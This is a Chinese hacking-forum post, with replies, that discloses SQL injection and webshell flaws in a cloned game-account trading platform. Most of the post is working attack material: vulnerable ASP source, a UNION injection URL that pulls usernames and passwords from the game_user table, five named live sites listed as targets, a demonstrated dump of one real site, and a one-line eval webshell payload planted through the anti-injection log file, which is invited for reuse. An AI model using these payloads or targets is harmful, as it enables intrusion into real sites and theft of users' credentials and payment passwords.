查看: 28355|回复: 13

通用型仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell

[复制链接]
  • TA的每日心情

    2016-7-16 21:37
  • 签到天数: 10 天

    [LV.3]偶尔看看II

    发表于 2014-11-17 19:07:47 | 显示全部楼层 |阅读模式
    本帖最后由 U神V5 于 2014-11-17 21:28 编辑


    ##########################################
    #  Title    : 通用型仿5173游戏交易平台系统SQL注入(可直接脱裤)+Getshell
    #  Time   :2014年11月17日
    #  Team  :08sec team
    #  Author : U神V5
    #  首发   : 08安全小组
    #######################################  

       最近没事登登好几年前玩过的游戏看看,发现有人喊高价收号,这一看就是骗子,这等骗子还想骗我?我就来看看这逗逼是怎么骗人的,结果发现这人给了一个说是5173平台交易的网站,叫我直接把号的信息填上去然后填好了之后就去他就会去购买,然后仔细看了一下平台,获取了源代码后看了一下~呵呵,漏洞还是有不少的~ 仿5173网游交易平台游戏交易平台存在注入与getshell漏洞,可直接拖掉玩家数据~

        发乌云上乌云不收,所以没事就发08社区里给大家玩玩。其实这系统还是蛮多漏洞的,我最痛恨骗子了,大家能搞几个骗子平台就搞几个去吧~案例上大多都是一些骗子搭建来钓鱼的。

    0.jpg

    A:SQL注入一:
    漏洞文件:/help.asp


    [HTML] 纯文本查看 复制代码
    <!--#include file="conn.asp"-->
    <!--#include file="inc/config.asp"-->
     
        <%
    	if trim(request("id")) <> "" then
    	set rs=conn.execute("select * from help where id ="&trim(request("id"))&" order by paixu asc")
    	if not rs.eof then
    	title=rs("help_title")
    	content=rs("help_content")
    	end if
    	else
    	set rs=conn.execute("select top 1 * from help order by paixu asc")
    		if not rs.eof then
    	title=rs("help_title")
    	content=rs("help_content")
    	end if
    	end if%>
    


    这里id参数过滤不严存在sql注入的,但是conn.asp中包含了:
    [HTML] 纯文本查看 复制代码
    <!--#include file="sqlin.asp"-->

    都知道这个防注入文件很垃圾吧,只做了GET和POST的防注入,可直接转为cookie注入绕过
    05.jpg
    这个注入我就不多研究了,看下一个支持UNION query的注入点。


    B:SQL注入二
    漏洞文件:/card_server.asp


    [HTML] 纯文本查看 复制代码
    <%
    function OpenDB(sdbname)
    {
    /*
    *--------------- OpenDB(sdbname) -----------------
    * OpenDB(sdbname) 
    * 功能:打开数据库sdbname,返回conn对象.
    * 参数:sdbname,字符串,数据库名称.
    * 实例:var conn = OpenDB("database.mdb");
    *--------------- OpenDB(sdbname) -----------------
    */
    /*var connstr = "driver={SQL Server};server=.;uid=sa;pwd=7881541;database=wangyou";*/
    var connstr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source="+Server.MapPath(sdbname);
    var conn = Server.CreateObject("ADODB.Connection");
    conn.Open(connstr);
    return conn;
    }
    var oConn = OpenDB("HSGAMEDB/#HSgame201008041121.asp");
    var sel = Request("sel");
    var classid = Request("classid")
    var fieldname = Request("fieldname")
    var arrResult = new Array();
    //var sql = "select "+fieldname+" from game_class where parentid='"+sel+"' and classid="+classid;
    var sql = "select * from card_class where parentid="+sel+"";
    //Response.Write("alert("+sql+")")
    var rs0 = Server.CreateObject("ADODB.Recordset");
    rs0.Open(sql,oConn,1,1);
    while(!rs0.EOF)
    {
    //遍历所有适合的数据放入arrResult数组中.
    arrResult[arrResult.length] = rs0(0).Value+"|"+rs0(1).Value;
    rs0.MoveNext();
    }
    //escape解决了XMLHTTP。中文处理的问题.
    //数组组合成字符串.由","字符串连接.
    Response.Write(escape(arrResult.join(",")));
    %>
    


      这里没有直接包含数据库连接文件,直接创建了连接对象,导致这一个注入是无法被sqlin.asp防御,注意,Request的sel参数没有过滤直接带入查询导致了SQL注入。简单构造一下注入点:

    [HTML] 纯文本查看 复制代码
    [url]http://127.0.0.1/card_server.asp?sel=1'[/url] 
    
    Microsoft JET Database Engine 错误 '80040e14' 
    字符串的语法错误 在查询表达式 'parentid=1'' 中。
     /card_server.asp,行 28 
    


    01.jpg
    02.jpg

    支持联合查询,可直脱掉ganme_user的玩家数据,好像sqlmap没有game_user的字典吧?。还有一个字段"alipay_pwd"是用户的支付密码~
    [HTML] 纯文本查看 复制代码
    [url]http://127.0.0.1/card_server.asp?sel=1%20union%20select%20user_name[/url],login_pwd,3,4,5,6,7,8,9%20from%20game_user
    


    03.jpg
    04.jpg

    由于通用型的要5个案例,那我就来五个~

    [HTML] 纯文本查看 复制代码
    [url]http://hhgg88.com/card_server.asp?sel=1[/url] 
    [url]http://www.loft98.com.cn/card_server.asp?sel=1[/url] 
    [url]http://mosouu.com/card_server.asp?sel=1[/url] 
    [url]http://gaoyi.cc/card_server.asp?sel=1[/url] 
    [url]http://www.631hk.com/card_server.asp?sel=1[/url]
     


    我来脱个裤子给大家看看:

    [HTML] 纯文本查看 复制代码
    [url]http://www.tylsf.com.cn/card_server.asp?sel=1%20union%20select%20user_name[/url],login_pwd,3,4,5,6,7,8,9%20from%20game_user
    


    06.jpg


    C:GETSHELL:
    漏洞文件:/SqlIn.Asp

    [HTML] 纯文本查看 复制代码
     <%
    '--------数据库连接部分--------------
    'dim dbkillSql,killSqlconn,connkillSql
    dbkillSql="sql_whelpu.asp" 
    'On Error Resume Next
    Set killSqlconn = Server.CreateObject("ADODB.Connection")
    connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)
    killSqlconn.Open connkillSql
    If Err Then
    	err.Clear
    	Set killSqlconn = Nothing
    	Response.Write "数据库连接出错,请检查连接字串。"
    	Response.End
    End If
    
    
    '--------定义部份------------------
    'Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql
    '自定义需要过滤的字串,用 "|" 分隔
    Fy_In = "'|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
    Kill_IP=True
    WriteSql=True			
    '----------------------------------
    
    
    Fy_Inf = split(Fy_In,"|")
    '--------POST部份------------------
    If Request.Form<>"" Then
    	For Each Fy_Post In Request.Form
    		For Fy_Xh=0 To Ubound(Fy_Inf)
    			If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
    				If WriteSql=True Then
    					killSqlconn.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
    					killSqlconn.close
    					Set killSqlconn = Nothing
    				End If
    				Response.Write "<Script Language=JavaScript>alert('系统提示:108非法操作!');</Script>"
    				Response.Write "非法操作!系统做了如下记录↓<br>"
    				Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
    				Response.Write "操作时间:"&Now&"<br>"
    				Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
    				Response.Write "提交方式:POST<br>"
    				Response.Write "提交参数:"&Fy_Post&"<br>"
    				Response.Write "提交数据:"&Request.Form(Fy_Post)
    				Response.Redirect("default.asp")
    				Response.End
    			End If
    		Next
    	Next
    End If
    '----------------------------------
    
    '--------GET部份-------------------
    If Request.QueryString<>"" Then
    	For Each Fy_Get In Request.QueryString
    		For Fy_Xh=0 To Ubound(Fy_Inf)
    			If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
    				If WriteSql=True Then
    					killSqlconn.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
    				killSqlconn.close
    				Set killSqlconn = Nothing
    				End If
    				Response.Write "<Script Language=JavaScript>alert('系统提示:108非法操作!');</Script>"
    				Response.Write "非法操作!系统做了如下记录↓<br>"
    				Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
    				Response.Write "操作时间:"&Now&"<br>"
    				Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
    				Response.Write "提交方式:GET<br>"
    				Response.Write "提交参数:"&Fy_Get&"<br>"
    				Response.Write "提交数据:"&Request.QueryString(Fy_Get)
    				Response.Redirect("default.asp")
    				Response.End
    			End If
    		Next
    	Next
    End If
    
    
    %>
    


    这里直接将用户非法提交的字符串写入了sql_whelpu.asp的数据库里面了,试想一下,如果故意加入一句话不就可以GETSHELL了吗? 在没有被人插入过asp的<%%>符号则可直接访问:

    [HTML] 纯文本查看 复制代码
    http://127.0.0.1/list_buy.asp?class_1=35536%20%3C%eval%20request(1)%%3E


    当然如果有被人提交过的需要注意闭合就可以获取webshell了~ 这里成功将一句话写入数据库:sql_whelpu.asp,我们打开看看是不是呢?
    08.jpg

    菜刀连接:
    [HTML] 纯文本查看 复制代码
    http://127.0.0.1/sql_whelpu.asp

    07.jpg

    最后说一下默认后天是/admin

    评分

    参与人数 3人气 +4 i币 +150 贡献 +4 收起 理由
    野驴~ + 10 支持原创
    90_ + 2 + 40 + 2 支持原创
    C4r1st + 2 + 100 + 2 支持原创

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    2016-5-2 18:44
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2014-11-17 19:23:11 | 显示全部楼层
    前排火速留名。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2021-12-29 18:17
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2014-11-17 19:58:13 | 显示全部楼层
    火钳留名!另外吐槽下这个广告真尼玛烦人
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2020-1-8 01:25
  • 签到天数: 47 天

    [LV.5]常住居民I

    发表于 2014-11-18 00:23:23 | 显示全部楼层
    LZ大神太牛了,我小弟什么都不懂。晕! 赞一个黑掉骗子站
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-6-1 14:33
  • 签到天数: 97 天

    [LV.6]常住居民II

    发表于 2014-11-18 08:59:12 | 显示全部楼层
    火钳刘明!去邪恶下试试
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-8-27 01:19
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2014-11-18 12:32:13 | 显示全部楼层
    支持u神  火钳刘明
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-1-5 19:19
  • 签到天数: 238 天

    [LV.7]常住居民III

    发表于 2014-11-18 14:24:38 | 显示全部楼层
    看不懂代码,不过还是涨姿势了{:soso_e179:}
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-6-7 21:48
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2014-11-18 15:48:33 | 显示全部楼层
    求裤子。。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-4-26 16:21
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2014-11-19 10:32:01 | 显示全部楼层
    这个 犀利。。。赞一下
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-6-3 21:25
  • 签到天数: 116 天

    [LV.6]常住居民II

    发表于 2014-11-19 16:46:34 | 显示全部楼层
    我来脱个裤子给大家看看
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 05:31 , Processed in 0.024970 second(s), 17 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部